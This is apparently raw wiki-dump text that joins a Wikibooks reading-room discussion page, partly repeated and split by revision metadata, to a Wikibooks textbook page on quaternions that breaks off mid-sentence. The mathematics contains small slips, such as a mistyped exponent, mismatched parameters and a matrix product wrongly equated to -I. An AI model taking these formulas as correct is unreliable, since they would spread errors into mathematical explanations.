[[m:Special:MyLanguage/Community_Wishlist/Community_Wishlist_2027#postvote|'''post-vote stage''']], including how to bring equity into what work is prioritized ** One way to do this is to rank wishes within 3 categories: Large Wikipedias or covering all wikis, small and medium-sized Wikipedias, and '''sister projects''', so that top-voted wishes from smaller projects also get attention This message is an abstract of the full proposed process. As you [[m:Special:MyLanguage/Community_Wishlist/Community_Wishlist_2027|read the proposed ideas on Meta]] (available in your language), please speak up about whether you think this will work well or if there are ways to make it stronger. Regarding the timeline, this consultation is open for two weeks. You can post your feedback on Meta (in your preferred language) or in response below. For this year’s cycle, [[m:Special:MyLanguage/Community_Wishlist/Community_Wishlist_2027#timeline|we plan]] to have the wish submission period in late October/early November and the triage process completed by late November. To respect the end-of-year holiday season, voting would happen in early to mid January. This first voting cycle is meant as a first step to try out a new process, and there will be more opportunities to provide feedback along the way, so that we can figure out the best process for future years together. [[oldwikisource:M:User:SPerry-WMF|SPerry-WMF]], delivered by [[User:Trizek (WMF)|Trizek (WMF)]] ([[User talk:Trizek (WMF)|discuss]] • [[Special:Contributions/Trizek (WMF)|contribs]]) 13:52, 1 September 2026 (UTC) :Thank you to everyone who engaged in the discussion around [[m:Talk:Community_Wishlist/Community_Wishlist_2027|the proposal from August 26]]. We've processed your feedback and [https://meta.wikimedia.org/w/index.php?title=Community_Wishlist/Community_Wishlist_2027&diff=prev&oldid=31041090 made changes] accordingly. Note that we weren’t able to implement all of it for this cycle, mostly for logistical reasons, but this is merely meant to be a first step and we will continue to improve this process with you all before we run through the next cycle. We plan to use [[m:Community_Wishlist/Community_Wishlist_2027#Updated_Community_Wishlist_Process_2027/2028|this updated version]] for the Wishlist 2027, and we look forward to hearing from you all during the submission and voting periods. :[[:M:User:SPerry-WMF|SPerry-WMF]], delivered by [[User:Trizek (WMF)|Trizek (WMF)]] ([[User talk:Trizek (WMF)|discuss]] • [[Special:Contributions/Trizek (WMF)|contribs]]) 14:49, 17 September 2026 (UTC) == How Do I Get My Book On A Shelf? == Help, I don't know how shelves work. I don't know how to put my book on a shelf. Can anyone help? The book is called''' Art And AI''' [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 23:00, 8 September 2026 (UTC) : Which shelf are you referring? [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:45, 10 September 2026 (UTC) == Who is allowed to delete pages here? == On Aug 14, 2026 a user by the name of Max deleted a page I created in my user space. I don't see max in the list of admins here. Do they have the right to delete pages? Is there any documentation here I can consult? Thanks in advance, [[Special:Contributions/~2026-40500-29|~2026-40500-29]] ([[User talk:~2026-40500-29|talk]]) 22:38, 15 September 2026 (UTC) :We have local admins who have the technical ability to delete pages and virtually all material deleted here would be done by us (I'm one of them). A fairly small amount of users have global rights across all Wikimedia Foundation wikis and they will very rarely make deletions (e.g. if there are some kind of legal implications to material). [[User:Ottawahitech/American politics]] was deleted by [[User:Max]], who has [[Special:UserRights/Max|no special rights here]] but is one of the [[:m:Global sysops|global sysops]] I mentioned earlier. ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 22:55, 15 September 2026 (UTC) : Probably unrelated to the above, but Ottawahitech should do that with their account, unless if they are blocked. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 23:33, 15 September 2026 (UTC) ::Agreed and [[User:Ottawahitech]] is not blocked here, so no idea why he's using a temp account. ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 23:43, 15 September 2026 (UTC) :::There may be many reasons registered users are "editing" without logging in. Is it possible that they want to go about peacefully without attracting too much attention? [[Special:Contributions/~2026-40500-29|~2026-40500-29]] ([[User talk:~2026-40500-29|talk]]) 15:01, 16 September 2026 (UTC) sxo54w5j9q3vk1swku4q6myxzfgbft6 4670893 4670679 2026-09-18T11:19:07Z Taitesena 3485636 /* Assistance to get page reviewed */ new section 4670893 wikitext text/x-wiki __NEWSECTIONLINK__ {{Discussion Rooms}} {{Shortcut|WB:CHAT|WB:RR/G|WB:GENERAL}} {{TOC left|limit=3}} {{User:MiszaBot/config |archive = Wikibooks:Reading room/Archives/%(year)d/%(monthname)s |algo = old(60d) |counter = 1 |minthreadstoarchive = 1 |minthreadsleft = 1 |key = 7a0ac23cf8049e4d9ff70cabb5649d1a }} Welcome to the '''General reading room'''. On this page, Wikibookians are free to talk about the Wikibooks project in general. For proposals for improving Wikibooks, see the [[../Proposals/]] reading room. {{clear}} [[Category:Reading room]] == Request for comment (the future of Abstract Wikipedia) == <bdi lang="en" dir="ltr" class="mw-content-ltr">You are invited to voice your opinions in a [[:m:Requests for comment/The future of Abstract Wikipedia|request for comment about the future of Abstract Wikipedia]]. {{Int:Feedback-thanks-title}} [[:m:User:Kowal2701|Kowal2701]] ([[:m:User talk:Kowal2701|talk]]) 12:24, 24 July 2026 (UTC)</bdi> <!-- Message sent by User:DreamRimmer@metawiki using the list at https://meta.wikimedia.org/w/index.php?title=Distribution_list/Global_message_delivery&oldid=30513860 --> == Call for administrators == Any experienced editor who has a good understanding of Wikibooks' policies should consider applying for administrator permissions at [[Wikibooks:Requests for permissions]]. Thank you. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] ([[User talk:Codename Noreste|discuss]] • [[Special:Contributions/Codename Noreste|contribs]]) 22:10, 5 August 2026 (UTC) :Is there a page here that describes what admins do? I am curious because I checked [https://en.wikibooks.org/wiki/Special:ListUsers?username=&group=sysop&wpsubmit=&wpFormIdentifier=mw-listusers-form&limit=50 List of admins] and I see that there are already quite a few admins here and wonder which areas have a shortage. :Just curious. [[Special:Contributions/~2026-40500-29|~2026-40500-29]] ([[User talk:~2026-40500-29|talk]]) 00:56, 16 September 2026 (UTC) ::[[Wikibooks:Administrators]]. ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 01:09, 16 September 2026 (UTC) == August 2026 Wikimedia Café meetups regarding [https://meta.wikimedia.org/wiki/Next_25 Next 25] == <div class="border-box" style="background-color: var(--background-color-warning-subtle, #f8eaba); max-width: 875px; padding: 5px; border: 1px solid black; margin: 5px; color: var(--clr-dark)"> <div class="box" style="float:left; padding-top: 10px; padding-right: 10px; padding-left: 10px; padding-bottom: 10px;">[[File:Wikimedia Café logo in plain SVG format.svg|60px|alt=The logo for the Wikimedia Café]]</div> Hello! There will be two '''[https://meta.wikimedia.org/wiki/Wikimedia_Caf%C3%A9 Wikimedia Café]''' discussion opportunities in August. Both sessions will focus on [https://meta.wikimedia.org/wiki/Next_25 the Next 25 initiative], including [https://meta.wikimedia.org/wiki/Next_25/A_proposal_to_frame_Next_25 framing the initiative]. Participants may attend either or both Café sessions. #'''29 August 2026 15:00 UTC''' ([https://zonestamp.toolforge.org/1788015600 timestamp converter]), at a time friendly to the Americas, Africa, and Europe #'''30 August 2026 03:00 UTC''' ([https://zonestamp.toolforge.org/1788058800 timestamp converter]), at a time friendly to Asia and the Pacific Please see the [https://meta.wikimedia.org/wiki/Wikimedia_Caf%C3%A9 Café] page for more information, including [https://meta.wikimedia.org/wiki/Wikimedia_Caf%C3%A9#Agenda._This_will_be_an_approximately_1_hour_Caf%C3%A9_session agenda details] and [https://meta.wikimedia.org/wiki/Wikimedia_Caf%C3%A9#How_to_attend_the_session how to register]! To subscribe or unsubscribe for Café notices on your talk page please [https://meta.wikimedia.org/wiki/Global_message_delivery/Targets/Wikimedia_Caf%C3%A9 go here]. <br /> [[File:Buntstifte Eberhard Faber crop 64h.jpg|860px|alt=cropped image of colored pencils]]</div> <span style="white-space:nowrap;">[[User:Pine|<span style="color:#01796f; text-shadow:#00BFFF 0 0 1.0em">༄ᨒ𖠰 Pine</span>]] [[User talk:Pine|<span style="color:DeepSkyBlue">(<b style="color:#FFDF00;text-shadow:#FFDF00 0 0 1.0em">✉</b>)</span>]]</span> 01:32, 17 August 2026 (UTC) == Wikibooks project is not defined by goal == If it is for texbooks why is it called Wikibooks? It should be called Wikitextbooks! If it is for textbooks why does it contain cookbooks? For textbooks it's not supposed to have a [[Wikibooks:Featured books]]. [[User:Vivairan2|Vivairan2]] ([[User talk:Vivairan2|discuss]] • [[Special:Contributions/Vivairan2|contribs]]) 09:20, 1 September 2026 (UTC) :It's "textbooks" broadly construed: guides, manuals, how-tos, etc. ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:15, 1 September 2026 (UTC) ::So we should change "Wikibooks:Featured books" to "Wikibooks:Featured texts". [[User:Vivairan2|Vivairan2]] ([[User talk:Vivairan2|discuss]] • [[Special:Contributions/Vivairan2|contribs]]) 11:17, 1 September 2026 (UTC) :::I disagree and even if I agreed, it would be priority #49,389. ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:20, 1 September 2026 (UTC) ::::It's according to community consensus that says this website contains textbooks not books. [[User:Vivairan2|Vivairan2]] ([[User talk:Vivairan2|discuss]] • [[Special:Contributions/Vivairan2|contribs]]) 11:23, 1 September 2026 (UTC) :::::"[[wb:WIW|Simply, Wikibooks is a collection of open-content textbooks.]]" [[User:Vivairan2|Vivairan2]] ([[User talk:Vivairan2|discuss]] • [[Special:Contributions/Vivairan2|contribs]]) 11:26, 1 September 2026 (UTC) :Most textbooks are made by collaboration of some authors, co-authors and editors. Wikibooks help pages and guidelines remain silent when it comes to stages of writing a new texbooks. Even [[Using Wikibooks]] is not complete emough for enthusiasts. --[[User:Vivairan2|Vivairan2]] ([[User talk:Vivairan2|discuss]] • [[Special:Contributions/Vivairan2|contribs]]) 18:13, 3 September 2026 (UTC) == Wishlist 2027, invitation to share feedback == Hi, I’m [[m:User:SPerry-WMF|Sonja]] and I lead some of the [[mw:Contributors|teams]] at the Foundation who will be responsible for picking up wish work under the new wishlist process. As you may know, the [[m:Community_Wishlist|Community Wishlist]] started out as an annual process through which Wikimedia contributors submit and vote on technical improvements they would like the Wikimedia Foundation to work on. The main goal of it is and has been to improve the editing experience by making changes and features the community asks for specifically. In recent years, the process behind the wishlist has changed, and we’ve heard from many of you that it no longer meets many community members’ needs. So now, the Foundation is designing a new process with the community to improve how wishes are triaged, voted on, and prioritized in a way that is transparent, balanced across project families and language editions, and takes into account what the Foundation can deliver. I would like to get community input specifically on these three stages of the Wishlist process: * The [[m:Special:MyLanguage/Community_Wishlist/Community_Wishlist_2027#triage|'''triage stage''']], meaning how wishes are fleshed out, organized and filtered prior to voting ** We recommend to have a working group, including volunteers from various wikis and Wikimedia Foundation staff to work through this together * The [[m:Special:MyLanguage/Community_Wishlist/Community_Wishlist_2027#vote|'''voting stage''']], including who may vote and how votes are structured * The [[m:Special:MyLanguage/Community_Wishlist/Community_Wishlist_2027#postvote|'''post-vote stage''']], including how to bring equity into what work is prioritized ** One way to do this is to rank wishes within 3 categories: Large Wikipedias or covering all wikis, small and medium-sized Wikipedias, and '''sister projects''', so that top-voted wishes from smaller projects also get attention This message is an abstract of the full proposed process. As you [[m:Special:MyLanguage/Community_Wishlist/Community_Wishlist_2027|read the proposed ideas on Meta]] (available in your language), please speak up about whether you think this will work well or if there are ways to make it stronger. Regarding the timeline, this consultation is open for two weeks. You can post your feedback on Meta (in your preferred language) or in response below. For this year’s cycle, [[m:Special:MyLanguage/Community_Wishlist/Community_Wishlist_2027#timeline|we plan]] to have the wish submission period in late October/early November and the triage process completed by late November. To respect the end-of-year holiday season, voting would happen in early to mid January. This first voting cycle is meant as a first step to try out a new process, and there will be more opportunities to provide feedback along the way, so that we can figure out the best process for future years together. [[oldwikisource:M:User:SPerry-WMF|SPerry-WMF]], delivered by [[User:Trizek (WMF)|Trizek (WMF)]] ([[User talk:Trizek (WMF)|discuss]] • [[Special:Contributions/Trizek (WMF)|contribs]]) 13:52, 1 September 2026 (UTC) :Thank you to everyone who engaged in the discussion around [[m:Talk:Community_Wishlist/Community_Wishlist_2027|the proposal from August 26]]. We've processed your feedback and [https://meta.wikimedia.org/w/index.php?title=Community_Wishlist/Community_Wishlist_2027&diff=prev&oldid=31041090 made changes] accordingly. Note that we weren’t able to implement all of it for this cycle, mostly for logistical reasons, but this is merely meant to be a first step and we will continue to improve this process with you all before we run through the next cycle. We plan to use [[m:Community_Wishlist/Community_Wishlist_2027#Updated_Community_Wishlist_Process_2027/2028|this updated version]] for the Wishlist 2027, and we look forward to hearing from you all during the submission and voting periods. :[[:M:User:SPerry-WMF|SPerry-WMF]], delivered by [[User:Trizek (WMF)|Trizek (WMF)]] ([[User talk:Trizek (WMF)|discuss]] • [[Special:Contributions/Trizek (WMF)|contribs]]) 14:49, 17 September 2026 (UTC) == How Do I Get My Book On A Shelf? == Help, I don't know how shelves work. I don't know how to put my book on a shelf. Can anyone help? The book is called''' Art And AI''' [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 23:00, 8 September 2026 (UTC) : Which shelf are you referring? [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:45, 10 September 2026 (UTC) == Who is allowed to delete pages here? == On Aug 14, 2026 a user by the name of Max deleted a page I created in my user space. I don't see max in the list of admins here. Do they have the right to delete pages? Is there any documentation here I can consult? Thanks in advance, [[Special:Contributions/~2026-40500-29|~2026-40500-29]] ([[User talk:~2026-40500-29|talk]]) 22:38, 15 September 2026 (UTC) :We have local admins who have the technical ability to delete pages and virtually all material deleted here would be done by us (I'm one of them). A fairly small amount of users have global rights across all Wikimedia Foundation wikis and they will very rarely make deletions (e.g. if there are some kind of legal implications to material). [[User:Ottawahitech/American politics]] was deleted by [[User:Max]], who has [[Special:UserRights/Max|no special rights here]] but is one of the [[:m:Global sysops|global sysops]] I mentioned earlier. ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 22:55, 15 September 2026 (UTC) : Probably unrelated to the above, but Ottawahitech should do that with their account, unless if they are blocked. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 23:33, 15 September 2026 (UTC) ::Agreed and [[User:Ottawahitech]] is not blocked here, so no idea why he's using a temp account. ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 23:43, 15 September 2026 (UTC) :::There may be many reasons registered users are "editing" without logging in. Is it possible that they want to go about peacefully without attracting too much attention? [[Special:Contributions/~2026-40500-29|~2026-40500-29]] ([[User talk:~2026-40500-29|talk]]) 15:01, 16 September 2026 (UTC) == Assistance to get page reviewed == My page is a translation page: [[Baiyi Zhuan]] It is a single page, it is translated according to my own ability and familiarity with the language with a disclosure on external tools. I would like it to get reviewed if possible as I do not have the rights. [[User:Taitesena|Taitesena]] ([[User talk:Taitesena|discuss]] • [[Special:Contributions/Taitesena|contribs]]) 11:19, 18 September 2026 (UTC) py90k1jsj2148ab56ia52frsz504noj 0 123378 4670711 4670344 2026-09-17T20:37:31Z Rgdboer 1021217 /* Historic incidents */ re 3 non-standard Quat algs 4670711 wikitext text/x-wiki {{TOC right}} The algebra of '''Quaternions''' is a structure first studied by the Irish mathematician [[w:en:William Rowan Hamilton|William Rowan Hamilton]] which extends the two-dimensional complex numbers to four dimensions. Multiplication is non-commutative in quaternions, a feature which enables its representation of three-dimensional rotation. Hamilton's provocative discovery of quaternions founded the field of [[Abstract Algebra/Hypercomplex numbers|hypercomplex numbers]]. Suggestive methods like dot products and cross products implicit in quaternion products enabled algebraic description of geometry now widely applied in science and engineering. ==Definitions== [[File:Inscription on Broom Bridge (Dublin) regarding the discovery of Quaternions multiplication by Sir William Rowan Hamilton.jpg|right|thumb|Quaternion plaque on Broom Bridge, Dublin, which says: {{center/top}} Here as he walked by<br>on the 16th of October 1843<br>Sir William Rowan Hamilton<br>in a flash of genius discovered<br>the fundamental formula for<br>quaternion multiplication {{math|1=''i''² = ''j''² = ''k''² = ''ijk'' = −1}} & cut it on a stone of this bridge {{center/end}} ]] A '''Quaternion''' corresponds to an ordered 4-tuple <math>q=(a,b,c,d)</math>, where <math>a,b,c,d\in\mathbb{R}</math>. A quaternion is denoted <math>q=a + b i + c j + d k</math>. The sum <math> b i + c j + d k</math> is called the '''vector part''' of ''q'', and ''a'' is the '''real part'''. Hamilton coined the term ''vector'' in this context. Subsequent developments have extended the usage of the term ''vector'' to any element of a linear space. The vectors in H form a 3-dimensional subspace ''V''. The set of all quaternions is denoted by <math>\mathbb{H}</math>. It is straightforward to define component-wise addition and scalar multiplication on <math>\mathbb{H}</math>, making it a [[Abstract Algebra/Vector Spaces|real vector space]]. Multiplication follows the rules of the "quaternion group" Q₈ = {1, -1, i, -i, j, -j, k, -k} that Hamilton carved into a stone of Broom Bridge, Dublin: :<math>i^2 = j^2 = k^2 = ijk = -1</math> The rules for the pairwise multiplication of <math>i</math>, <math>j</math>, and <math>k</math> are: :<math> ij=k,\ \ jk=i,\ \ ki=j </math> (positive cyclic products) :<math>ji=-k,\ \ kj=-i,\ \ ik=-j</math> (negative cyclic products). Using these, one can define a general rule for multiplication of quaternions. Because quaternion multiplication is ''not'' commutative, <math>\mathbb{H}</math> is a ''not'' a field. However, every nonzero quaternion has a multiplicative inverse (see below), so the quaternions are an example of a '''division ring'''. It is important to note that the non-commutative nature of quaternion multiplication makes it impossible to define the quotient <math>p/q</math> of two quaternions ''p'' and ''q'' unambiguously, as the quantities <math>pq^{-1}</math> and <math>q^{-1}p</math> are generally different. Like the more familiar complex numbers, the quaternions have a '''conjugation''', often denoted by a superscript star: <math>q^*</math>. The conjugate of the quaternion <math>q=a+bi+cj+dk</math> is <math>q^*=a-bi-cj-dk</math>. As is the case for the complex numbers, the product <math>qq^*</math> is always a positive real number equal to the sum of the squares of the quaternion's components. The '''norm ''' of a quaternion is the square root of <math>qq^*</math>. If ''pq'' is the product of two quaternions, then <math>(pq)(pq)^* = (p p^*)(q q^*),</math> implying that <math>\mathbb{H}</math> forms a [[Associative Composition Algebra|composition algebra]]. The multiplicative inverse of a non-zero quaternion <math>q</math> is given by :<math>q^{-1}=\frac{q^*}{qq^*}</math> where division is defined since <math>qq^* \ne 0.</math> Unlike in the complex case, the conjugate <math>q^*</math> of a quaternion <math>q</math> can be computed algebraically: :<math>q^*=-\frac{1}{2}(q+iqi+jqj+kqk)</math>. ==Versors and elliptic space== William Kingdon Clifford used Hamilton’s quaternions to explicate rotation geometry as an elliptic space with its own variety of lines, parallels, and surfaces. The ideas were reviewed in 1948 by Lemaitre and Coxeter and that sketch has these definitions: A '''versor''' is a quaternion of norm one, thus it lies on a 3-dimensional sphere found in the 4-space of quaternions. The versors are given by Euler's formula for complex numbers where the imaginary unit is taken from the unit sphere in the 3-space of vector quaternions: :<math>v = \cos c + s \sin c = e^{cs} , \ \ s^2 = -1 .</math> The '''distance''' between two versors ''u'' and ''v'' is <math>d(u,v) = \arccos (u v^* + v u^*)/2 .</math> A '''right parataxy''' on elliptic space is effected by multiplying on the right by a versor <math>v = e^{cs} .</math> Similarly a '''left parataxy''' arises from left multiplication. In recognition of his contribution to elliptic geometry, a parataxy is called a ''Clifford translation''. The '''general displacement''' of elliptic space is a combination of two parataxies, one left, one right:<math>x \mapsto u x v .</math> Note that if <math>u = v^* ,</math> then the real line in the quaternions is fixed and the displacement is a rotation of the 3-space of quaternion vectors. The term '''line''' is appropriated for elliptic geometry. These lines are ''not'' straight, but they are parametrized by real numbers. Each line is associated with a '''right versor''' like ''s'' when ''c'' = &pi;/2 in ''v''. Then <math>L = \{ e^{cs} : c \in R \}</math> is a typical elliptic line. It corresponds to the axis of the rotation :<math>x \mapsto e^{cs} x e^{-cx} .</math> Now for ''u'' not on ''L'', there are two '''Clifford parallels''' to ''L'' through ''u'': :<math>\{u e^{cs} : c \in R \}, \quad \{e^{cs} u : c \in R \} .</math> For fixed right versors ''r'' and ''s'', a Clifford surface can be formed as a union of Clifford parallels or as :<math>\{ e^{cs} e^{dr} : b, c \in R \} .</math> To form elliptic space from versors, two versors ''u'' and ''v'' are equivalent if ''u'' + ''v'' = 0. Modulo this equivalence, the versors, their algebra and geometry, represent elliptic space. ==Linear viewpoint== Quaternions may be represented by 2×2 matrices with complex number entries: the place of <math>i, j, k </math> is taken by these arrays: :<math>\begin{pmatrix} i & 0 \\ 0 & -i \end{pmatrix}, \quad \begin{pmatrix} 0 & 1 \\ -1 & 0 \end{pmatrix}, \quad \begin{pmatrix} 0 & i \\ i & 0 \end{pmatrix}.</math> One uses matrix multiplication to verify that these expressions obey the rules of presentation of Q₈. M(2,C) denotes the full algebra of 2×2 complex matrices, which has eight real dimensions, and sustains a representation of <math>\mathbb{H}</math> as a four-dimensional subalgebra. The linear properties of <math>\mathbb{H}</math> and M(2,C) assure the fidelity of the representation once the copy of Q₈ has been identified. Quaternions, like other associative hypercomplex systems of the 19th century, eventually were viewed as matrix algebras in the 20th century. However, in 1853 Hamilton included biquaternions in his book of ''Lectures on Quaternions''. '''Biquaternions''' are quaternions with complex number coefficients, sometimes called ''complex quaternions''. Biquaternions form an algebra isomorphic to M(2,C). If the rows or columns of a matrix are proportional, then the [[Linear Algebra/Definition of Determinant|determinant]] is zero, and there is no inverse. Nevertheless, such matrices have been used in physical science to represent events on a light-path from the origin. Authors Silberstein and Lanczos refer to this algebra as the biquaternions, but other writers have abandoned the label: Elie Cartan used M(2,C) extensively in ''The Theory of Spinors'' (1938), and Wolfgang Pauli, in his matrix mechanics of the atom, caused himself to be associated with M(2,C). ===Pauli Spin Matrices=== Quaternions are closely related to the Pauli spin matrices of Quantum Mechanics. The Pauli matrices are often denoted as<br /> :<math>\sigma_1=\begin{pmatrix}0 & 1 \\ 1 & 0\end{pmatrix}</math> , <math>\sigma_2=\begin{pmatrix}0 & -i \\ i & 0\end{pmatrix}</math> , <math>\sigma_3=\begin{pmatrix}1 & 0 \\ 0 & -1\end{pmatrix}</math> (Where <math>i</math> is the well known quantity <math>\sqrt{-1}</math> of complex numbers) The 2×2 identity matrix is sometimes taken as <math>\sigma_0</math>. Thus <math>S</math>, the real linear span of the matrices <math>\sigma_0</math>, <math>i\sigma_1</math>, <math>i\sigma_2</math> and <math>i\sigma_3</math>, is isomorphic to <math>\mathbb{H}</math>. For example, take this matrix product: :<math>\begin{pmatrix}i & 0 \\ 0 & -i\end{pmatrix} \begin{pmatrix}0 & 1 \\ -1 & 0\end{pmatrix} = \begin{pmatrix}0 & i \\ i & 0\end{pmatrix}</math> Or, equivalently, &nbsp; <math>i\sigma_3 \ i\sigma_2 = i\sigma_1 .</math> All three of these matrices square to the negative of the identity matrix. If we take <math> 1=\sigma_0</math>, <math>i=i\sigma_3</math>, <math>j=i\sigma_2</math>, and <math>k=i\sigma_1</math>, it is easy to see that the span of the these four matrices is "the same as" (that is, isomorphic to) the set of quaternions <math>\mathbb{H}</math>. ==Exercises== # Using the presentation equations of Q₈, write out the full product of two quaternions. In other words, given <math>q_1=a_1+b_1i+c_1j+d_1k</math> and <math>q_2=a_2+b_2i+c_2j+d_2k</math>, find the components of their product <math>q=q_1q_2 .</math> # Show the composition algebra property <math>(pq)(pq)^* = (p p^*) (q q^*) .</math> Hint: use [[w: Euler's four-square identity]]. ==Axial pencils== [[File:Sheaf_of_Planes.gif|thumb|right|250px|The axis of a pencil is the real axis in the 4-algebra]] Hamilton's quaternions provide a picture of a pencil of complex number planes that fill out his hyperspace. Another pair of pencils provide alternative descriptions of 4-space as made up of planar algebras: The hyperspace is <math>\reals^4</math> with the first coordinate taken as the real line, and as the axis of the various pencils. The Hamilton case uses the sphere of imaginary units :<math>S^2 = \{q \in H : q^2 = -1 \} = \{xi + yj + zk : x^2 + y^2 + z^2 = 1 \} .</math> Any pair of antipodal points on this sphere generates a plane isomorphic to the ordinary complex plane <math>\Complex .</math> The second and third pencils derive from the findings of James Cockle and Arthur Cayley. Cayley set up an arithmetic of matrix multiplication which has expedited modern science. For instance, the so-called imaginary units are represented by <math>\begin{pmatrix}0 & -1 \\ 1 & 0 \end{pmatrix}</math> which has multiplicative square equal to the negative of the identity matrix. But then there is also by <math>\begin{pmatrix}0 & 1 \\ 1 & 0 \end{pmatrix}</math> which generates an algebraic plane distinct from ordinary complex numbers. This algebra [[Associative Composition Algebra/Split-binarions|split-binarions]], has inverse proportion included as a structural feature, such as found in economics or spacetime. In fact, the Lorentz boost is exhibited by a split-binarion multiplication. The inherent relation was recognized in the 19th century by J. Cockle, W.K. Clifford, and A. Macfarlane in the English world and by some Serbians. The second pencil is an imaginary one without linear representation. As Hamilton had a sphere of imaginary units, Macfarlane would have a sphere of hyperbolic units ''u'' with ''u''² = +1. The full algebra of split-binarions is <math>A = \{ q = x + y u : x, y \in \reals \}</math> Any pair of elements that are polar opposite on this sphere generate a plane isomorphic to the split-binarions A. The 4-algebra containing this pencil is the '''hyperbolic quaternion''' algebra. As Oliver Heaviside and Willard Gibbs advocated a positive dot product for vectors, they have been associated with hyperbolic quaternions. When this algebra drew attention in the 1890s a "great vector debate" ensued in various publications including ''Nature''. When the failure of the algebra to satisfy the associative law of multiplication was noted, it was realized that no matrix representation would be found. Each plane of the pencil can represent a Lorentz boost. However, rotations of the vector subspace, an operation within the reach of Hamilton's structure, is beyond the means of hyperbolic quaternions, hence the Lorentz group cannot be represented with Macfarlane's algebra. The third pencil arises from both imaginary units and hyperbolic units as found in the ring of [[Abstract Algebra/2x2 real matrices|2x2 real matrices]]. In this figure there must be noted nilpotent matrices such as by <math>\begin{pmatrix}0 & 1 \\ 0 & 0 \end{pmatrix}</math> which correspond to [[Abstract Algebra/Shear and Slope|dual numbers]] in the matrix algebra. Such planes separate the complex and split-binarion planes, and are included in the pencil. The axis of the pencil is the line of matrices that are real multiples of the identity matrix. Over an alternate basis this ring is known as [[Associative Composition Algebra/Split-quaternions|split-quaternions]], and the pencil has three types of planar subrings. == Quaternion algebras == The real numbers are part of Hamilton's quaternions. An objective of abstract algebra is to show algebraic structures in their most general form. The real numbers satisfy the axioms of a field and they have other properties such as order and completeness. Given an arbitrary [[Abstract Algebra/Fields|field]] ''F'', it can be associated with an abstract algebra called a ''quaternion algebra'' as follows: The elements of a quaternion algebra are in the four-dimensional space over ''F'' : &nbsp;''V'' = ''F''⁴. As in ''F'', there is a multiplicative identity 1 in ''V'', and hence a one-dimensional subspace <math>F \cdot 1.</math> The multiplication <math>\times</math> on ''V'' has the feature that basis vectors of the orthogonal complement of <math>F \cdot 1</math> in ''V'' are anticommutative. More particularly, with i and j perpendicular in this orthogonal complement of <math>F \cdot 1</math>, i j = &minus; j i. With k = i j, and perpendicular to the plane of i and j, associativity of multiplication implies jk = j i j = &minus; i j j = &minus;k j, and k i = i j i = &minus;i k, so k also anticommutes with i and j. The multiplication on ''V'' is determined by multiplication on its basis vectors. That multiplication is not commutative (due to anticommutivity) and includes the negative for each basis vector: <math>B = \{ 1, -1, i, -i, j, -j, k, -k \} \subset V .</math> There are only two non-commutative groups of order eight: the quaternion group Q₈ and the dihedral group of symmetries of a square figure D₄. Thus, for any field ''F'', there are two quaternion algebras over ''F'' corresponding to the selection of multiplication on ''B'' according to Q₈ or D₄. === Historic incidents === The extension of quaternion theory to ''F'' = '''C''', the complex number plane, was given by Hamilton in his ''Lectures on Quaternions'' (1853).<ref>W. Hamilton (1853) ''Lectures on Quaternions'', [https://archive.org/details/lecturesonquater00hami/page/638/mode/2up Page 639], quaternions with complex number scalars</ref> There was a glitch in an early presentation, with ''F'' being the field of real numbers, and the basis group confused. In 1878 [[w:W. K. Clifford]] nearly described representation of split-quaternions with matrices:<ref>[[w:W. K. Clifford]] (1878) [https://archive.org/details/elementsofdynami01clifiala/page/170/mode/2up ''Elements of Dynamic''], page 170 via Internet Archive</ref> He used ''K'' to express the imaginary unit <math>\begin{pmatrix}0 & 1 \\ -1 & 0 \end{pmatrix}</math>. The only flaw was a missing minus sign in the equation :<math>J K = \begin{pmatrix}0 & 1 \\ 1 & 0 \end{pmatrix} \begin{pmatrix}0 & 1 \\ -1 & 0 \end{pmatrix} = \begin{pmatrix}-1 & 0 \\ 0 & 1 \end{pmatrix} = -I .</math> The inexplicable mistake in a case of a finite subgroup of the general linear group hindered understanding. Some clarity followed from a letter to the editor from [[w:C. G. Knott]]<ref>{{cite journal |first=C.G. |last=Knott |title=Recent Innovations in Vector Theory |journal=Nature |volume=47 |issue=1225 |pages=590–3 |year=1893 |doi=10.1038/047590b0 |bibcode=1893Natur..47R.590. |doi-access=free }} read before the Royal Society of Edinburgh 19 December 1892 and published in ''Proceedings''</ref> 1892) He reaffirmed Hamilton's products in this proposition: :If a 4-algebra on 